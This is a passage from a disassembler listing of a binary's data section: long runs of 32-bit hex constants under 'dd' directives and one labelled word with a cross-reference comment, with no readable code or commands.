0EB5ED718h, 3DA2FDF8h, 5B98B1F8h dd 4BD721FCh, 5EC28CCh, 9E048AEh, 2EB4125Eh, 0A878892Fh dd 0C11E1606h, 229666C8h, 45E3B68h, 68603687h, 0C20D02B0h dd 47E3AAD2h, 0EBD031DBh, 0BF0CF6C0h, 0CCA162DEh, 223D3F6Eh dd 550CF52h, 5D0D310Eh, 1665A534h, 9B1B7BA1h, 2860753Bh dd 5F260CA7h, 0FBF61FABh, 80C39A5Eh, 0C5C93DB4h, 0FF973DBBh dd 0E50FB2E0h, 0BEFD9D83h, 0F81ADFF1h, 0A2BC8A82h, 1BEFB33Bh dd 0FEE46498h, 7928E8DCh, 0A7BFA442h, 25F6CC0Ch, 80895159h dd 0E911695Ch, 8A0604CEh, 61DC643Ch, 0CC89CC0Dh, 822EBFBFh dd 56FDEAABh, 15AF0CC4h, 5D7F03B5h, 77FAB10Ch, 1425581Fh dd 82097EFFh, 2BA494DBh, 52E81C84h, 1CAC54CAh, 2AD9529Bh dd 0FBF7DD7Eh, 0D806D917h, 3581954Ah, 1BA7DBF4h, 0CCF5DBC9h dd 0C6D40367h, 890E3E02h, 40B5C911h, 7AEB4BF5h, 0C8913628h dd 12C5F028h, 1460A524h, 313E94D4h, 7B022684h, 35FBA1ECh dd 0A2E9CD8Ah, 5744C58Ch, 283AC48Fh, 44061144h, 5CA1819Ch dd 20E9EBB6h, 0FCC4C55h, 4B823258h, 13BED71Bh, 1EAC5F26h dd 64A90DCAh, 8BB212D0h, 2CDF1EBFh, 0F88CAF50h, 2C2FF81Fh dd 5055AB87h, 1648865h, 17703FA3h, 0C1868C41h, 74C83AE0h dd 5AF62130h, 0D89C6FA0h, 63825A04h, 2F74C301h, 7798ABF1h dd 6C2ED77Eh, 11A3A71Ch, 0A5069590h, 1493F10h, 9A12C18Fh dd 92D4E16Ch, 6D05A2D9h, 0EE5B88C1h, 0C5CDD1DEh, 29E6DB9Ch dd 0BD73608Bh, 2288E005h, 4E844034h, 0B2244512h, 22F62110h dd 77006967h, 1467E831h, 8387E0E0h, 900BBC85h, 0D017F248h dd 134560FFh, 0E2A5ACECh, 356DA450h, 0FE55CF95h, 2168A89Dh dd 0AC9B7AB2h, 76A2904Bh, 344171Dh, 0EB44924Ah, 5DAA41B2h dd 0CA6CC5C5h, 0A555F9DAh, 92B4638Dh, 8D0B843Eh, 90D40E32h dd 0E62FB710h, 6C526551h, 3885B1ECh, 0DC3A80B8h, 0E143B2AEh dd 7AE04890h, 25D2928h, 0C154E664h, 870B0E76h, 6077EB28h dd 0F0448610h, 545E4D30h, 5528C051h, 8C2981D6h, 85FBE8A6h dd 0B0579CEBh, 0E459371Dh, 0B39AB188h, 7D1D1520h, 81498090h dd 0CC42B06Dh, 0FF0EDB07h dd 572922ACh, 1A8DD3A5h, 57006564h, 0E2BCE4Fh, 7001D5D5h dd 0F00E583h, 88E92A0Ch, 75C4D8CCh, 0BAA788CBh, 8556FAA6h dd 7AF6549Fh, 0BE3D3669h, 17049ED3h, 0F27166EDh, 0C3EA4C04h dd 0A57C3DBAh, 4F2DEBF1h, 63E4A88Bh, 86360555h, 80BAE983h dd 0B8FF8938h, 8AEF5EECh, 3279A6E0h, 0FDA7D1AEh, 70771799h dd 22AA71D5h, 7DA848AAh, 5015519Eh, 59539C83h, 56F6F708h dd 13D6DC1Ch, 24D85508h, 0C93B0C50h, 0B933153Ah, 42AE4652h dd 47E056FBh, 7F8FDCB4h, 677AFF4h, 0BF06A429h, 8936CBE2h dd 2FB0D431h, 1EA09DFEh, 0AA962C5Fh, 0AA62C150h, 0C63DAA8Fh dd 0CE39C095h, 0BAC27D73h, 75974905h, 48639F2Dh, 3995FEBEh dd 3E5D09C3h, 624B02FBh, 0BD81449Eh, 0E1C5006Bh, 9A4FC1BBh dd 37F61572h, 72AABF7Ah, 5584010Ah, 9A671AC4h, 0FA85C72h dd 0B6287D4h, 0F574431Ah, 1298F8D5h, 292437B2h, 3ACCB8F5h dd 0A6556FEh, 0AD3C5697h, 0D9E478ABh, 3428CB51h, 74A304CAh dd 0FF12A7E7h, 3E56BF4Ch, 0C7A23E11h, 0A09107CEh, 405A59A7h dd 6E378D8Ah, 65B5B819h, 35A8092Fh, 0EEFCFC0Bh, 4498DFAFh dd 777CE61Fh, 0D1C66E7Fh, 0D2BBD8E9h, 616D71CDh, 565B7034h dd 6273A83Bh, 70853001h, 155F4669h, 0E3A29683h, 709981C3h dd 0FD530407h, 39A123C0h, 44B4422Dh, 355E83A4h, 0A4180CACh dd 6B761190h, 0C5FC25B8h, 0D841E8C4h, 8028E3B2h, 55B055FCh dd 49331F01h, 0D2E1D2FDh, 0BA1FC6C6h, 855E0E99h, 93685CA8h dd 2E554183h, 424A9812h, 2FE40006h, 29516BF8h, 98B83816h dd 6506500h, 0B71969B9h, 2B6D661Dh, 374DE2B0h, 33B9FA15h dd 91F41Bh, 86099FFh, 0F398FEB2h, 8817B35Fh, 62521624h dd 0D25F0145h, 3E01222Fh, 5E74B1FFh, 0C2848C51h, 0DDFF996Fh dd 39392303h, 3B2C4C0h, 7EFC605Ah, 0FD8892B8h, 62CB0F3Eh dd 70CA080Ah, 9EC607C7h, 246EACB8h, 0BAFA106Fh, 20799759h dd 0C1489FC8h, 0CB01D881h, 0E2C1102Ch, 0EB947787h, 340F24Ah dd 0CD42313Dh, 28D014BAh, 0BAA911FDh, 255EBD94h, 65C8731Eh dd 99A32943h, 0C98C856Fh, 0E0E01A16h, 0E1C67190h, 0C971527Ah dd 0E25A40C0h, 0D8B0E82Dh, 9EB9F4BBh, 0CE06566h, 8E5FC6DDh dd 206F42Fh, 7408130Eh, 88414ECAh, 9D93063Ch, 9F7E80F1h dd 0FAB9D60Dh, 17EAF95Fh, 17E3E198h, 643EE6C0h, 0F1788080h dd 2AD57D83h, 1503EC2h, 3CCF3DDEh, 3F7DD16h, 0F5C65D81h dd 0F8304B1Dh, 0AAC44ADDh, 17E260A0h, 30E3506Ch, 4551758h dd 8364624Ah, 17930575h, 63C1E1D5h, 99BA0206h, 0AA3C079Dh dd 787849F1h, 4D0BE606h, 85AF610Dh, 28025CA1h, 7D97BF4Dh dd 0ACBC32C8h, 97641ED2h, 0FA7DBBB2h, 54543201h, 902AF630h dd 51F283A6h, 0B0BE9E5h, 28AAC743h, 7CECAB74h, 6C90268Ah dd 7920EEA4h, 73FC757Ch, 0D695B43Eh, 8C45028Ah, 56CD8B50h dd 0AA7161F0h, 0B475CE39h, 16D578EAh, 2F4B55C0h, 17E8FFA8h dd 3C3E374Fh, 5F389F5Dh, 0F07C976Fh, 210E992h, 22DCAAD4h dd 4FF594D8h, 5F2615E3h, 47CBEDFh, 0ADBA2E8Dh, 0B7FCC660h dd 0A0DFEE1Dh, 85CBE1BCh, 50715545h, 510C9D69h, 41DF0B5h dd 7C685530h, 9A2EAB3Ah, 3973B391h, 0B05394B5h, 0FFAEB32Eh dd 55C97E1Bh, 0D82E1B81h, 724A872h, 0E762B11Ch, 69299BA2h dd 35C52156h, 0DB5B12F0h, 6F07387Bh, 0EDCFD70Ah, 4C1365FBh dd 9E77E23Fh, 255623B3h, 0FDD61229h, 0DC3AE26Ah, 1FC18157h dd 0E2084A13h, 56E83756h, 105E47C1h, 3A3A1A7Ah, 3B1B918h dd 7E114A93h, 1E00C468h, 652EF6Eh, 77F38676h, 2ACAEA6Eh dd 0A2ADBF44h, 49CDB742h, 0AB776B11h, 53A97638h, 0B8430167h dd 0D67B455Bh, 6C0DDA10h, 5BB618A3h, 0C11B1565h, 550B58BFh dd 0ACF9EBD2h, 5BB53B3Ah, 0C4255D5h, 1EEA5863h, 1E0F4536h dd 0E5E8B43Ah, 0F273467Bh, 483BBD02h, 76F7D1Ah, 41C6DB9Ah dd 8AB7DEFFh, 0C570D178h, 88989E98h, 4B1A506Ah, 902BB145h dd 1F393C38h, 0E94B9488h, 0F3DA538Ah, 3541A469h, 0AFA1275Dh dd 2E5024A6h, 0ABB6B242h, 0F8B942BCh, 540FB680h, 62F95E6Bh dd 8E71D7A5h, 99962621h, 8C4D3B3Ah, 19DF4230h, 35FC087Eh dd 0F4AFA540h, 0D74443FBh, 6156BEF0h, 44C01722h, 0AE7AFDB1h dd 9FC55C42h, 5C12A3A8h, 0E8930991h, 0D5DCF4DCh, 0B89822C9h dd 0CCE44F42h, 783CCA00h, 2ADCC428h, 93AC3269h, 0FD7AF20Bh dd 0A6977D8Ah, 5E65A2E1h, 743A974Eh, 27812518h, 0C2AECCBDh dd 0D93692BAh, 0F9441754h, 0E00CBE95h, 9F437B0Ah, 1A1FF1B9h dd 0B5569698h, 3357BBA4h, 0A2C0E281h, 3AE0B67h, 0E254BCAEh dd 0CBAD1474h, 0F0B9DA27h, 87EDEEE3h, 0F1DB422Eh, 5C8953D6h dd 4547F12Ah, 50272FB9h, 58EEB8BAh, 2992098h, 37228560h dd 0E19FF6D7h, 16241F94h, 0C9BE82D6h, 3A30675Bh, 0CBAE7EBh dd 8617268h, 69EA9811h, 4453A8C9h, 9548C1E2h, 7DF68D4Fh dd 0C56E9FA7h, 0C9BA82C5h, 727D7D20h, 0E183B40Eh, 1360FC4Ch dd 5F8842EBh, 0B58F6F84h, 144C0D92h, 0CB9827Ah, 0AEBD904Ah dd 0CA1EF7B5h, 1213B257h, 0E2650E7Eh, 6DF1E588h, 8FABFF9Ah dd 0AB0B3C2h, 0C4A32768h, 337AB741h, 38CF2BE1h, 3B0CFE07h dd 0DF3AE5B9h, 4F3DE96Fh, 0E7EEB2A5h, 0CCCC7355h, 0EB7A826Dh dd 204883E2h, 6D565B54h, 524A32FCh, 19CBDC27h, 0E2509828h dd 0A219280Ah, 0D90A5342h, 0B162B0C1h, 517A4108h, 8563CA4Ah dd 541F32EEh, 95D15009h, 74F83AF5h, 0BC778717h, 0C640EB3Eh dd 0C8B80FCAh, 0FBFAB92h, 4CAFA194h, 0D8696E36h, 0C11D4E47h dd 0E574BE8Ah, 0ED4B5E14h, 0E594DF3Bh, 0BDF2597Eh, 0A16C496h dd 818B472Ah, 98A818B2h, 540FE9C9h, 0A83724E1h, 0C4688F2h dd 0B8CE11A5h, 0A1E405DEh, 0BBD4AE0h, 3604ADD8h, 0B1D21D1Ch dd 4E15398Fh, 64AFB96Eh, 1AB1D56Bh, 1746F0D9h, 83A5AC8Ch dd 0A3D02B08h, 0AC7B772Eh, 0AE5954EAh, 371604C9h, 83DB1CC6h dd 7DF6F72Ah, 9D419072h, 1A192528h, 260DF377h, 0D6564CEEh dd 49928B81h, 3BB9732Fh, 0F55A31EDh, 0EB0FDB15h, 8EB9385Ah dd 6DE475B9h, 5E7EE7DFh, 511164F6h, 741C809h, 0E8D69D01h dd 15FFA4Ch, 71EF2AA3h, 0B8653031h, 0CE143800h, 0D1F1D42Dh dd 9A04E68Ah, 0BAA811F5h, 0A09C8E81h, 1AD81413h, 0DBC8E329h dd 5184D32Eh, 0FE9D0A2Ah, 47C1AF84h, 0F23FD472h, 0CE7BAEAEh dd 5A17D1E5h, 81394677h, 65E7567Ch, 15C7D8BBh, 6E980337h dd 0BF357F09h, 0EF0662A8h, 477D76FAh, 7D4020D1h, 2B8EBDA3h dd 0E3EAFE33h, 4BCEFB7Bh, 2BC79DADh, 0F101ABECh, 295050A6h dd 1783B7F3h, 671CA92Dh, 9FC12A2Fh, 0F0AB0926h, 830B3FFEh dd 64E2DB8Bh, 0EE7C48DAh, 9BAF9C32h, 0DC46A18h, 344FB025h dd 6B743154h, 0F430E79Dh, 5033137Bh, 441D7731h, 2D40FCFCh dd 0F613DFECh, 53DE3C54h, 7835FD4Ah, 5DFE3E9Ch, 5EFF505Ah dd 620BFDCh, 0C58A4C5Dh, 545DEFE5h, 425FD42Eh, 0DAD0FEA0h dd 4677A726h, 3DB76AA0h, 2396B162h, 5681846h, 445F7CDBh dd 31B43C61h, 0BFD56AB9h, 0F9C1E863h, 1CDAA662h, 29C3856Eh dd 218F30Dh, 0EAE97D5Bh, 1BA2E936h, 95DDF810h, 6742F562h dd 6618D21Ch, 7F8002DCh, 99755967h, 0BFB274F8h, 0C75A71DAh dd 250C4639h, 0CC70659Ah, 8D6331C4h, 0F3226B9Bh, 0D11916DEh dd 44191E78h, 0FD5BA666h, 0F5C08D3Ch, 460751D1h, 0C4C38F99h dd 0DC061268h, 0AE0831D6h db 3Dh, 8Bh word_767676 dw 8D0h ; DATA XREF: .data:off_42CAA4o dd 88E7EA68h, 85D491ACh, 0D106518Eh, 87BFFDF2h, 572C2D8Eh dd 0BF957554h, 55C688B3h, 3138EECDh, 7F48C153h, 5DFC4E02h dd 60312AC6h, 0C312B496h, 96E4425Ch, 32A5EC2h, 79565E98h dd 8A0AFC00h, 0BAC5A9BBh, 0F0F36360h, 0F60C139Ah, 0E15C3E4Eh dd 0EC546D84h, 524F03F2h, 710D1A8Ch, 9419479Ch, 9727FCA5h dd 9040E468h, 439801E1h, 1EBB830h, 174E6F03h, 4734E3Ch dd 0A47A91EEh, 0FD77FEF0h, 0D881E68Bh, 23E8533Eh, 719FC9D1h dd 99707610h, 90404B65h, 19C71E38h, 0DA7C2B02h, 0C1F50EE9h dd 2647BD0Eh, 0E1917E71h, 7FA03194h, 60C6C767h, 5422B464h dd 586024F8h, 0DB9A8286h, 21409595h, 0A9DC8BDDh, 21EBB8A0h dd 0C0187A34h, 0CD1D951Ah, 1C3B3DD8h, 95DFF885h, 61230BA4h dd 30B0E9FAh, 0C8D16898h, 0C2C928Bh, 3BCB473Ch, 1E022558h dd 484F23A7h, 4622357h, 78BAFEE3h, 0D6CD8B38h, 13C00BBFh dd 49DC9406h, 0DFE8F9ACh, 0CF840A91h, 0B228605Dh, 92A2636Fh dd 8D03E8AFh, 7B189577h, 0F9E7DB0h, 8B15AFBEh, 0FA2E95C5h dd 0E4754266h, 0BE2E25EDh, 8BBD6742h, 0E04DAC31h, 867ED30Ch dd 2460331Ch, 0C198FF5h, 0CCB528BEh, 2018380Ah, 7B8A0854h dd 9FD416F8h, 0B388175h, 5340AD1Ch, 300CA233h, 0DD8311EEh dd 0D9600EE1h, 882E0198h, 42FCC101h, 0CE018B0Ah, 0A29FD20Ch dd 0C22F40C0h, 0F31804CFh, 908E481Ah, 0DB0614D2h, 0EC2230C8h dd 1570A3Eh, 44888458h, 0DC22h, 0D8000000h, 0F0000001h dd 434A0041h, 1C00h, 0 dd 20D56B97h, 42377E78h, 878F3E8h, 7B655752h, 305D9810h dd 512AC021h, 63AD21BDh, 0D3A14CB9h, 21D8FFA1h, 0B0F44D7Bh dd 0FE4D0840h, 4D300857h, 670041DDh, 81A05B5h, 0F5F6D0Eh dd 0F5DD0A66h, 0B4043478h, 0B4243430h, 70A17190h, 0B5E61081h dd 58FAE52h, 8436DE02h, 1B2AC818h, 4FBA4021h, 5FF6A1BAh dd 97820632h, 0A02143Ch, 3818437Ah, 0C02103AEh, 0A128AC21h dd 2ECB211Ch, 0E2A15AB4h, 8381D988h, 8466048h, 6AEC285Eh dd 7600A1ECh, 0BD008707h, 5485A23Eh, 0D4941C04h, 3456A43Eh dd 304438A1h, 63EA9421h, 3EB10386h, 56888412h, 6C85AE68h dd 84325681h, 1F282849h, 6A80211Ah, 10193D8Ch, 103B1A74h dd 2732C020h, 0C8DC4042h, 95A50303h, 33242BD6h, 0C020CC63h dd 42B1ACh, 40EF490Ch, 0BF8D0AE4h, 2C182B76h, 7181B307h dd 0D410C3Eh, 0C90885EDh, 0B72F7808h, 47824717h, 3050B76h dd 510DACB4h, 8221904h, 2CDBB010h, 96619086h, 73D0DF56h dd 10B179D0h, 3B7C42FDh, 24080CB5h, 90042BB3h, 542F1F60h dd 4094EFC0h, 43DF5143h, 0E3B542F7h, 7243E976h, 430CDC97h dd 570ADE94h, 890B3060h, 0F59480A3h, 762020E4h, 0E5D08B6Fh dd 4043D5E1h, 42599541h, 80520202h, 3024A069h, 411282A5h dd 64A0E94h, 21284A50h, 0A4A16943h, 1286A50Eh, 4A1EC815h dd 1E8B5490h, 4BC9D20Bh, 12A81798h, 0CBA610D8h, 51BB7DCEh dd 0E93A9049h, 4B014506h, 0EA6AD07Ah, 0E569BD58h, 4C15316Eh dd 4CA7596h, 0CE600A00h, 0D0C03B93h, 26C81473h, 8F7100DCh dd 64FEAA00h, 0FC533FF4h, 8189840Fh, 0ACFDAA14h, 0CB4C20F7h dd 7965861Dh, 0EEDD5461h, 3998CF12h, 0DA7B1FF4h, 0B55C26BAh dd 5B1FA73Dh, 64BE45A6h, 588EDC3Bh, 49B8EE5Eh, 63C7FB26h dd 0F8F56E96h, 5E574CDBh, 4277B7CDh, 8DFA0F2Dh, 0DC79F231h dd 0DDFE42C9h, 10DB97F9h, 483616AAh, 45C773F3h, 0EF5077D8h dd 4BEF53B5h, 1AF5F93Bh, 0B6DA8ED4h, 0D7D38F85h, 0E9E0EAD9h dd 8B644F81h, 0A8B5D92Fh, 5F9B17F7h, 0D9C9B2E2h, 0A9F5C80Ch dd 53B36C83h, 58C94F61h, 0FFAFAC36h, 118DE448h, 2DD3BAF4h dd 42D34CF2h, 506C1D5Bh, 95C6CFA2h, 0E89A81CFh, 28FD4825h dd 2FFB8586h, 0F4AD7B58h, 5697F5A8h, 2D35B666h, 36542EB7h dd 2777DBA0h, 7E779ACFh, 19EEC2C1h, 4573BF45h, 0E7C37ADDh dd 0CACCF7A3h, 0ABD64C3Bh, 3269D11Eh, 0F547004Fh, 0AFC88B58h dd 7A1BFDAFh, 0D3692191h, 0F136756Ch, 0CE5775CFh, 87E977BBh dd 8CF13814h, 0A2118882h, 0D7F65D98h, 671A49E9h, 0BE61F315h dd 0B7CBE23h, 4CB45635h, 71DB0F06h, 7B2DB36Dh, 0B2141EE5h dd 0DA0D71EDh, 0C077920Eh, 96625510h, 0EAFBF138h, 5D89F8FEh dd 0D76D06D2h, 0F937F9F9h, 9F5371E8h, 0BC41F631h, 99A7E549h dd 331DA884h, 0E5A31988h, 7787770Dh, 0B55FE5B3h, 0DB6C232Fh dd 6CB26460h, 35CB1F9Bh, 0E951B592h, 0B1584F47h, 3B130B2Eh dd 169CB271h, 0F2F6E560h, 0C7AF7A58h, 0C6F83F4h, 8460AAFCh dd 487FD78Dh, 0D9D8596Ah, 1E9DC13Fh, 0D5D37D8Bh, 0BE62373Fh dd 0CEFC77BBh, 62A4CB7Bh, 515F99EEh, 9E32CB4Ch, 0EA7EEB16h dd 1D95379Ch, 0A1693A58h, 0D8DE68FCh, 530DDF52h, 83A5EFD2h dd 0BAF95EC0h, 0C4713A3Ah, 4FDFD3ADh, 0D3B528F0h, 7F25762Bh dd 74D28D88h, 0B3EB483Dh, 0DC583B5h, 7396C128h, 9E58EC0Eh dd 675FA642h, 0B55C9BE4h, 37BB3CB8h, 0C16A06A8h, 30293C40h dd 942F7D86h, 90433932h, 5DADA2AFh, 0B3C2DBCDh, 0C27A966Dh dd 0CE7FC961h, 0E743BF3Dh, 0EAF66393h, 0D994C88Bh, 74361B4Dh dd 475F8F17h, 9EECEB38h, 1869B974h, 0EEB9BDDBh, 0EB6D9BAEh dd 48307B8h, 0F6EDB67Bh, 0FCD433C4h, 5E065BA5h, 0B1BA4E68h dd 0FD5F56BEh, 0EE6B3B15h, 9376E098h, 38B772E7h, 1285D8FCh dd 7849DD93h, 293EB55Bh, 61BA8AD1h, 6BD42F9Fh, 0EF2677Fh dd 0F09C9C9Fh, 5C4615B1h, 0CF41EFB4h, 4370FF87h, 4B4708C3h dd 0DA3E5018h, 0F7FB8506h, 0B4D76AF6h, 2FBF2ECFh, 65C05C66h dd 0D6C8CF9Eh, 0D6BB75Dh, 0A37D4FF7h, 8257D3C4h, 0D6AF5DA8h dd 873295DDh, 0B3DBFBFBh, 9FC92F7Eh, 0FB1D4329h, 0B78BF54Bh dd 0EC2C1E8Bh, 0F75B7F7Bh, 0C9F4743Ch, 4E176271h, 52F977E9h dd 0FF1B3EECh, 0F14ABEF3h, 4DDD836Dh, 67F4B9B6h, 0CA91DA95h dd 0C37B14C8h, 0DC2B5FF6h, 0A540CFD8h, 2F504A0Fh, 0FDE5FBFh dd 552767D4h, 18C75BA6h, 379DF5A6h, 8D8CD9D8h, 7971AC1Dh dd 9B79A0E9h, 5BE4B36Fh, 15A2A595h, 0BBC33990h, 3A3C2F77h dd 0B98B40A4h, 52F93416h, 0ABBE9DEEh, 0B8B2885Eh, 0F76592ADh dd 6D25704Bh, 56CEB9A7h, 0FFF5F853h, 1E7F436Bh, 8BCF7665h dd 91DD777Ah, 0B7B03F64h, 0CDC9BE56h, 3F667347h, 6ABAC2B2h dd 76D816A6h, 0D09393Fh, 9B43BD78h, 5B3C1EE5h, 13AB9182h dd 0E0A95BFCh, 0AC52F5B8h, 0F16BA57Bh, 1BDCE237h, 0B68666F1h dd 0DD2C9437h, 7DD5F2EDh, 0FDFDCBE4h, 87BFDB85h, 0F53A5D3Ch dd 350BC45Fh, 0E3F8D9F7h, 6D16EC1Fh, 6A3FCD8Bh, 6FB035B9h dd 36E7EDE1h, 0BBEC2DE5h, 28FB78C7h, 9AB4B3F1h, 70B543FFh dd 0FCA9DC1Ah, 0CD5C85C0h, 6226B3D6h, 5C7DA75Dh, 62FC74CDh dd 5AEC345Eh, 7DB22D78h, 0F142B41Eh, 0EE9437AFh, 54C1C129h dd 0DC2D9C0Eh, 73619359h, 0F4FF78B5h, 83A14DA3h, 0DA693DBBh dd 0BDBA7D4Ah, 0B57475DDh, 0CAD75BB3h, 6685F7E8h, 1F09DF62h dd 6F533FBCh, 0D4F173DBh, 0BEF5FF9Fh, 0B2A3FA63h, 930D044Fh dd 0E5BD258Ah, 0E16EB946h, 0F27B3A9Eh, 9B47B492h, 4166DD03h dd 0C720DD7Eh, 6CA6AFDEh, 0AA6FECFDh, 991CBAF5h, 66D9EE29h dd 561E240Ah, 3768AEE5h, 2576F954h, 0DF7D0BDAh, 6871D0CEh dd 1C6FBF05h, 0AD637DF0h, 29691601h, 6A83C21Dh, 0BF6073E0h dd 0F1827A3Fh, 84657D6Ah, 0F505EB88h, 0A3DA3440h, 8C0C0809h dd 0C08C4128h, 0A0090544h, 9ACC03A0h, 2FA41289h, 0C19AC41Eh dd 10466F30h, 25573464h, 10491D05h, 0E2D60B41h, 3005024Bh dd 812BC002h, 0C2022550h, 2C4922h, 801207C4h, 65046DC4h dd 6EA46D80h, 13291EB9h, 45B8F9C2h, 405B5FBCh, 9A01198Ah dd 432166B9h, 596F1700h, 71336DB7h, 0D9024ABFh, 68BCDC0Dh dd 0DD12B1D8h, 6C573041h, 0B6591880h, 7DB3241h, 40C2E010h dd 5B2DE4AEh, 4958ECB6h, 93608574h, 0B08A81DBh, 783613B4h dd 81015B8Dh, 0C952B52Ch, 20AB3260h, 8810C218h, 882598Dh dd 0B401102h, 0E81182E8h, 118B659Eh, 63306081h, 0B7C53B82h dd 2D058C02h, 0B702FD01h, 0A8504087h, 0A25147h, 3349B99Dh dd 0B95BDA24h, 2E49A48Ah, 3171B4BAh, 0B6980800h, 704EDCD0h dd 0A94BA2D4h, 0A9C52993h, 39906B59h, 65730242h, 0C4A4025Fh dd 70A1F987h, 2A544DD5h, 303A0787h, 6103C386h, 20F5808h dd 8314CF12h, 41372ACh, 51995031h, 0CF156387h, 2DB8A4CAh dd 0C810D74Ah, 956186E1h, 0A76BD2D9h, 0B064C709h, 0D4D00207h dd 60AB1618h, 8D081063h, 46E575h, 6B32D36Dh, 0B2C8099Ah dd 6CF09970h, 0A0AA5329h, 0F5324C1Ch, 2B3E21DAh, 4D3A8EC1h dd 0FC46894Fh, 0A6D04131h, 84B2A536h, 984CA700h, 492D9009h dd 294C5B0h, 482E96F2h, 8A2904C5h, 30F1D297h, 0A038B428h dd 365C18E0h, 0A29BA25h, 0B94EA03Eh, 52EB67h, 0B418B9DCh dd 149E0242h, 0CC3C2A3Bh, 177B4B1Ch, 0F2E05A31h, 0C6144D63h dd 774B226Fh, 4D512E0Ah dd 4DC5AED6h, 95878321h, 101A0D4Ch, 58C248D1h, 70342414h dd 0E1453466h, 76AF856h, 2C120BA4h, 0BC590079h, 0B746E346h dd 60698CE5h, 0BE3C2770h, 302CA190h, 0B0980836h, 4283A075h dd 8B3A7098h, 0B2BC52C6h, 26964506h, 99458D02h, 4A6E9F5Bh dd 4EDB0C0Eh, 0C5A2E415h, 8060A111h, 63B5B186h, 8A0C6E31h dd 0AC4DC060h, 2F4031A8h, 0C088B95Bh, 5401AE02h, 9672864h dd 0D8420961h, 650DC50Ch, 3C253965h, 7604451h, 0A0ACB6Ah dd 0DC005E85h, 94E1358Ch, 94B3DD42h, 9AE6A302h, 8A308164h dd 0E5E837B6h, 0EB3B4186h, 4060D077h, 824A84E1h, 3680CA6Ah dd 85C0C228h, 74598162h, 0AC6CC295h, 69439592h, 2B525A77h dd 2985AC57h, 215CBC85h, 14282E58h, 5D28AB42h, 0D21048A8h dd 36AE4EA4h, 1032E00h, 4233C6E6h, 52DC5426h, 42D2D636h dd 8A8FC381h, 0B4336C8h, 440046A6h, 0D94D6D5h, 2A85ECB5h dd 76860BDAh, 0C51AE56h, 9A9D85CCh, 0A945EDCh, 76CB62A6h dd 8E450449h, 62F34Ah, 9C00CB6h, 1D6E62A7h, 65B853D4h dd 9929D6FBh, 0B5114A00h, 4CAA95A0h, 10A39CBAh, 532C3732h dd 0B41595EBh, 0B1CA82C0h, 65D49829h, 0B081576Eh, 0A2C8F261h dd 4D789CB0h, 0D9CB508Eh, 5E074263h, 23A8D38Bh, 93220434h dd 92F46229h, 94446A98h, 31B50247h, 0FBA848CAh, 0B950D8E0h dd 21C9008Ch, 0E3FA8723h, 0C4863BC2h, 86AC0847h, 32E4A26Ah dd 2CEE1251h, 1E024237h, 81FAF8h, 53336023h, 0C0041D87h dd 8D332604h, 21697670h, 88B24818h, 0E2521434h, 61C0988Fh dd 0C028799Eh, 4430BE54h, 2AAA1562h, 9A65E14Ch, 0B2E00F60h dd 938FF03h, 69C1C6Ch, 773B6F82h, 2A81AE3h, 0E0452082h dd 0E4E32C20h, 940C2D0Dh, 0E6CD1831h, 2B00C301h, 45EBC250h dd 245E22D2h, 17A3A046h, 671CFE19h, 547DD070h, 0A31FD614h dd 7044A50Ch, 29069541h, 3E22F969h, 9506387Ah, 0B095813Bh dd 30D10FD8h, 84ED222Fh, 6813E112h, 0D8028F41h, 0A017A029h dd 7513EA02h, 5E04EE02h, 870FD08Fh, 0F5059236h, 907F93C0h dd 0F29430A4h, 0A4624092h, 0B87F9A11h, 71971211h, 0E661C808h dd 58C13409h, 0BD2C4E9Ah, 23DD04A0h, 297818E1h, 0E6BC514Ch dd 0CD9AE380h, 4BF0CD1Fh, 5E669405h, 8F3663C4h, 862525F2h dd 0D054B0D9h, 88148E25h, 11F15056h, 8D98834h, 0F22740D2h dd 0A47FC0C2h, 50023082h, 0AC285B98h, 72B47FDBh, 6320296Ah dd 0EA811B9h, 54F33146h, 74137AD0h, 92DA9336h, 2800DB8Fh dd 0B061D86h, 70E8C11Ah, 126B5F11h, 0EA03143Fh, 6411EB42h dd 6F693CCBh, 762CA142h, 0A733C68Eh, 5C0445AFh, 34AB30E5h dd 90061500h, 166687EDh, 0C3483DF8h, 4DEE6799h, 4447C601h dd 77F5F089h, 10000000h, 1C00h, 421000h, 7600434Ah, 1 dd 4A4F0000h, 11F22091h, 245135A0h, 240C78E8h, 50104C95h dd 0D0C83AFAh, 6332F96Ch, 0CCDEF58h, 502BFB46h, 0DC7E130Ch dd 0BB20993Ah, 95B924Eh, 0AE069459h, 0ECF2CECBh, 2DD9ED84h dd 895193D0h, 0EB292285h, 0A6E92DF6h, 66B66BBDh, 6408682Dh dd 0DA5D1C25h, 73B2C929h, 32E60A5Fh, 0A9D9D8E5h, 685638D6h dd 0DE4E6DC1h, 7925E44Ah, 970D7462h, 0DCAC393Eh, 62DA084Dh dd 0CB1D20C8h, 0C21C181h, 0B9A3AC8Bh, 0D8ED3BCDh, 0D4923CB4h dd 3F8EB704h, 49A8DCDAh, 65C9529h, 0C0A44E81h, 2BA3947h dd 0A2E6142Eh, 3D74E4h, 6B881B94h, 0DB5A6AECh, 1E51DD34h dd 0B856CCCh, 96925ABDh, 478FC350h, 86189676h, 0CD70B31Ah dd 80F24E26h, 69602454h, 0ACCCEB72h, 9B75DB72h, 6CB41A94h dd 5EE5DAC3h, 159B5ACh, 0EA2A670Eh, 731C630Dh, 0C85287F9h dd 8034D323h, 369BE0DAh, 4B0C59ACh, 0E5E660DEh, 0B28DC99h dd 88AA4855h, 2C0E30CCh, 0C6A2291Bh, 8C61EE31h, 1A9CC0EEh dd 0CC1AD74Bh, 0ABA16EBCh, 0F08A8A71h, 0D6F315B0h, 29E6D7F2h dd 0AB2383Fh, 0F324E8D4h, 153C9E6Bh, 7DC2A84h, 4476D540h dd 0B04B4728h, 0EA5C8023h, 67B45094h, 0B00EA3C9h, 630CDB88h dd 51FA93A9h, 0D2442F48h, 0A3F5808Fh, 0A4C87E92h, 47E9791Fh dd 4AD1FD2Ah, 8FD56A3Fh, 9EA3FA5Eh, 1FA4C47Eh, 6047F4FDh dd 3F48E8FDh, 5D61EBF2h, 2D0411FAh, 588FBADDh, 7EA05172h dd 911FD214h, 0FD5E23F4h, 323FA4A8h, 0FA5A47E9h, 0B47E4A91h dd 0F5718FD2h, 0A8FD97A3h, 0E93A1FA7h, 11FA3F47h, 0D2043F58h dd 5A6CFC8Fh, 0A2F47E97h, 0A4288448h, 0C0B11Fh, 447EFC40h dd 0EDE447EAh, 47EAA547h, 0AD477EA6h, 7EAFA47Eh, 0C47EEAB4h dd 0EBF447EDh, 47EEBD47h, 0FE477EA7h, 7EAE047Eh, 0F328EA04h dd 0B296E8E1h, 2F52E54Ah, 